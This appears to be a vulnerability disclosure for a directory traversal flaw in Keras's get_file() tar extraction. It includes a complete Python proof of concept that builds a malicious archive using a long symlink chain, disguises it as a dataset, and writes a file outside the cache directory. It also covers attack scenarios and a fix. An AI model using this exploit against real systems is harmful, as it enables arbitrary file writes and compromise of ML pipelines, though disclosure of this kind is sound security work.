Keras Directory Traversal Vulnerability

Summary

Keras's keras.utils.get_file() function is vulnerable to directory traversal attacks despite implementing filter_safe_paths(). The vulnerability exists because extract_archive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATH_MAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.

Details

Root Cause Analysis

Current Keras Implementation

# From keras/src/utils/file_utils.py#L121
if zipfile.is_zipfile(file_path):
    # Zip archive.
    archive.extractall(path)
else:
    # Tar archive, perhaps unsafe. Filter paths.
    archive.extractall(path, members=filter_safe_paths(archive))

The Critical Flaw

While Keras attempts to filter unsafe paths using filter_safe_paths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATH_MAX symlink resolution bug occurs during extraction, not during member enumeration.

Exploitation Flow:

1. Archive parsing: filter_safe_paths() sees symlink paths that appear safe
2. Extraction begins: extractall() processes the filtered members
3. PATH_MAX bug triggers: Symlink resolution fails due to path length limits
4. Security bypass: Failed resolution causes literal path interpretation
5. Directory traversal: Files written outside intended directory

Technical Details

The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:

• filter_safe_paths() operates on the parsed tar member information
• The PATH_MAX bug occurs during actual file system operations in extractall()
• Failed symlink resolution falls back to literal path interpretation
• This allows traversal paths like ../../../../etc/passwd to be written

Affected Code Location

File: keras/src/utils/file_utils.py
Function: extract_archive() around line 121
Issue: Missing filter="data" parameter in tarfile.extractall()

Proof of Concept

#!/usr/bin/env python3
import os, io, sys, tarfile, pathlib, platform, threading, time
import http.server, socketserver

# Import Keras directly (not through TensorFlow)
try:
    import keras
    print("Using standalone Keras:", keras.__version__)
    get_file = keras.utils.get_file
except ImportError:
    try:
        import tensorflow as tf
        print("Using Keras via TensorFlow:", tf.keras.__version__)
        get_file = tf.keras.utils.get_file
    except ImportError:
        print("Neither Keras nor TensorFlow found!")
        sys.exit(1)

print("=" * 60)
print("Keras get_file() PATH_MAX Symlink Vulnerability PoC")
print("=" * 60)
print("Python:", sys.version.split()[0])
print("Platform:", platform.platform())

root = pathlib.Path.cwd()
print(f"Working directory: {root}")

# Create target directory for exploit demonstration
exploit_dir = root / "exploit"
exploit_dir.mkdir(exist_ok=True)

# Clean up any previous exploit files
try:
    (exploit_dir / "keras_pwned.txt").unlink()
except FileNotFoundError:
    pass

print(f"\n=== INITIAL STATE ===")
print(f"Exploit directory: {exploit_dir}")
print(f"Files in exploit/: {[f.name for f in exploit_dir.iterdir()]}")

# Create malicious tar with PATH_MAX symlink resolution bug
print(f"\n=== Building PATH_MAX Symlink Exploit ===")

# Parameters for PATH_MAX exploitation
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"  # 16-step symlink chain
path = ""

with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar:
    print("Creating deep symlink chain...")
    
    # Build the symlink chain that will exceed PATH_MAX during resolution
    for i, step in enumerate(steps):
        # Directory with long name
        dir_info = tarfile.TarInfo(os.path.join(path, comp))
        dir_info.type = tarfile.DIRTYPE
        tar.addfile(dir_info)
        
        # Symlink pointing to that directory
        link_info = tarfile.TarInfo(os.path.join(path, step))
        link_info.type = tarfile.SYMTYPE
        link_info.linkname = comp
        tar.addfile(link_info)
        
        path = os.path.join(path, comp)
        
        if i < 3 or i % 4 == 0:  # Print progress for first few and every 4th
            print(f"  Step {i+1}: {step} -> {comp[:20]}...")
    
    # Create the final symlink that exceeds PATH_MAX
    # This is where the symlink resolution breaks down
    long_name = "x" * 254
    linkpath = os.path.join("/".join(steps), long_name)
    
    max_link = tarfile.TarInfo(linkpath)
    max_link.type = tarfile.SYMTYPE
    max_link.linkname = ("../" * len(steps))
    tar.addfile(max_link)
    
    print(f"✓ Created PATH_MAX symlink: {len(linkpath)} characters")
    print(f"  Points to: {'../' * len(steps)}")
    
    # Exploit file through the broken symlink resolution
    exploit_path = linkpath + "/../../../exploit/keras_pwned.txt"
    exploit_content = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras get_file() is vulnerable to PATH_MAX symlink attacks!\n"
    
    exploit_file = tarfile.TarInfo(exploit_path)
    exploit_file.type = tarfile.REGTYPE
    exploit_file.size = len(exploit_content)
    tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))
    
    print(f"✓ Added exploit file via broken symlink path")
    
    # Add legitimate dataset content
    dataset_content = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n"
    dataset_file = tarfile.TarInfo("dataset/labels.csv")
    dataset_file.type = tarfile.REGTYPE
    dataset_file.size = len(dataset_content)
    tar.addfile(dataset_file, fileobj=io.BytesIO(dataset_content))
    
    # Dataset directory
    dataset_dir = tarfile.TarInfo("dataset/")
    dataset_dir.type = tarfile.DIRTYPE
    tar.addfile(dataset_dir)

print("✓ Malicious Keras dataset created")

# Comparison Test: Python tarfile with filter (SAFE)
print(f"\n=== COMPARISON: Python tarfile with data filter ===")
try:
    with tarfile.open("keras_dataset.tgz", "r:gz") as tar:
        tar.extractall("python_safe", filter="data")
    
    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"✓ Python safe extraction completed")
    print(f"Files in exploit/: {files_after}")
    
    # Cleanup
    import shutil
    if pathlib.Path("python_safe").exists():
        shutil.rmtree("python_safe", ignore_errors=True)
        
except Exception as e:
    print(f"❌ Python safe extraction blocked: {str(e)[:80]}...")
    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"Files in exploit/: {files_after}")

# Start HTTP server to serve malicious archive
class SilentServer(http.server.SimpleHTTPRequestHandler):
    def log_message(self, *args): pass

def run_server():
    with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd:
        httpd.allow_reuse_address = True
        httpd.serve_forever()

server = threading.Thread(target=run_server, daemon=True)
server.start()
time.sleep(0.3)

# Keras vulnerability test
cache_dir = root / "keras_cache"
cache_dir.mkdir(exist_ok=True)
url = "http://127.0.0.1:8005/keras_dataset.tgz"

print(f"\n=== KERAS VULNERABILITY TEST ===")
print(f"Testing: keras.utils.get_file() with extract=True")
print(f"URL: {url}")
print(f"Cache: {cache_dir}")
print(f"Expected extraction: keras_cache/datasets/keras_dataset/")
print(f"Exploit target: exploit/keras_pwned.txt")

try:
    # The vulnerable Keras call
    extracted_path = get_file(
        "keras_dataset",
        url,
        cache_dir=str(cache_dir),
        extract=True
    )
    print(f"✓ Keras extraction completed")
    print(f"✓ Returned path: {extracted_path}")
    
except Exception as e:
    print(f"❌ Keras extraction failed: {e}")
    import traceback
    traceback.print_exc()

# Vulnerability assessment
print(f"\n=== VULNERABILITY RESULTS ===")
final_exploit_files = [f.name for f in exploit_dir.iterdir()]
print(f"Files in exploit directory: {final_exploit_files}")

if "keras_pwned.txt" in final_exploit_files:
    print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨")
    
    exploit_file = exploit_dir / "keras_pwned.txt"
    content = exploit_file.read_text()
    print(f"Exploit file created: {exploit_file}")
    print(f"Content:\n{content}")
    
    print(f"🔍 TECHNICAL DETAILS:")
    print(f"   • Keras uses tarfile.extractall() without filter parameter")
    print(f"   • PATH_MAX symlink resolution bug bypassed security checks")
    print(f"   • File created outside intended cache directory")
    print(f"   • Same vulnerability pattern as TensorFlow get_file()")
    
    print(f"\n📊 COMPARISON RESULTS:")
    print(f"   ✅ Python with filter='data': BLOCKED exploit")
    print(f"   ⚠️  Keras get_file(): ALLOWED exploit")
    
else:
    print(f"✅ No exploit files detected")
    print(f"Possible reasons:")
    print(f"   • Keras version includes security patches")
    print(f"   • Platform-specific path handling prevented exploit")
    print(f"   • Archive extraction path differed from expected")

# Show what Keras actually extracted (safely)
print(f"\n=== KERAS EXTRACTION ANALYSIS ===")
try:
    if 'extracted_path' in locals() and pathlib.Path(extracted_path).exists():
        keras_path = pathlib.Path(extracted_path)
        print(f"Keras extracted to: {keras_path}")
        
        # Safely list contents
        try:
            contents = [item.name for item in keras_path.iterdir()]
            print(f"Top-level contents: {contents}")
            
            # Count symlinks (indicates our exploit structure was created)
            symlink_count = 0
            for item in keras_path.iterdir():
                try:
                    if item.is_symlink():
                        symlink_count += 1
                except PermissionError:
                    continue
            
            print(f"Symlinks created: {symlink_count}")
            if symlink_count > 0:
                print(f"✓ PATH_MAX symlink chain was extracted")
                
        except PermissionError:
            print(f"Permission errors in extraction directory (expected with symlink corruption)")
            
except Exception as e:
    print(f"Could not analyze Keras extraction: {e}")

print(f"\n=== REMEDIATION ===")
print(f"To fix this vulnerability, Keras should use:")
print(f"```python")
print(f"tarfile.extractall(path, filter='data')  # Safe")
print(f"```")
print(f"Instead of:")
print(f"```python") 
print(f"tarfile.extractall(path)  # Vulnerable")
print(f"```")

# Cleanup
print(f"\n=== CLEANUP ===")
try:
    os.unlink("keras_dataset.tgz")
    print(f"✓ Removed malicious tar file")
except:
    pass

print("PoC completed!")

Environment Setup

• Python: 3.8+ (tested on multiple versions)
• Keras: Standalone Keras or TensorFlow.Keras
• Platform: Linux, macOS, Windows (path handling varies)

Exploitation Steps

1. Create malicious tar archive with PATH_MAX symlink chain
2. Host archive on accessible HTTP server
3. Call keras.utils.get_file() with extract=True
4. Observe directory traversal - files written outside cache directory

Key Exploit Components

• Deep symlink chain: 16+ nested symlinks with long directory names
• PATH_MAX overflow: Final symlink path exceeding system limits
• Traversal payload: Relative path traversal (../../../target/file)
• Legitimate disguise: Archive contains valid-looking dataset files

Demonstration Results

Vulnerable behavior:

• Files extracted outside intended cache_dir/datasets/ location
• Security filtering bypassed completely
• No error or warning messages generated

Expected secure behavior:

• Extraction blocked or confined to cache directory
• Security warnings for suspicious archive contents

Impact

Vulnerability Classification

• Type: Directory Traversal / Path Traversal (CWE-22)
• Severity: High
• CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity

Who Is Impacted

Direct Impact:

• Applications using keras.utils.get_file() with extract=True
• Machine learning pipelines downloading and extracting datasets
• Automated ML training systems processing external archives

Attack Scenarios:

1. Malicious datasets: Attacker hosts compromised ML dataset
2. Supply chain: Legitimate dataset repositories compromised
3. Model poisoning: Extraction writes malicious files alongside training data
4. System compromise: Configuration files, executables written to system directories

Affected Environments:

• Research environments downloading public datasets
• Production ML systems with automated dataset fetching
• Educational platforms using Keras for tutorials
• CI/CD pipelines training models with external data

Risk Assessment

High Risk Factors:

• Common usage pattern in ML workflows
• No user awareness of extraction security
• Silent failure mode (no warnings)
• Cross-platform vulnerability

Potential Consequences:

• Arbitrary file write on target system
• Configuration file tampering
• Code injection via overwritten scripts
• Data exfiltration through planted files
• System compromise in containerized environments

Recommended Fix

Immediate Mitigation

Replace the vulnerable extraction code with:

# Secure implementation
if zipfile.is_zipfile(file_path):
    # Zip archive - implement similar filtering
    archive.extractall(path, members=filter_safe_paths(archive))
else:
    # Tar archive with proper security filter
    archive.extractall(path, members=filter_safe_paths(archive), filter="data")

Long-term Solution

1. Add filter="data" parameter to all tarfile.extractall() calls
2. Implement comprehensive path validation before extraction
3. Add extraction logging for security monitoring
4. Consider sandboxed extraction for untrusted archives
5. Update documentation to warn about archive security risks

Backward Compatibility

The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.

References

• [Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters)
• [CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability
• [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)

Note: Reported in Huntr as well, but didn't get response https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4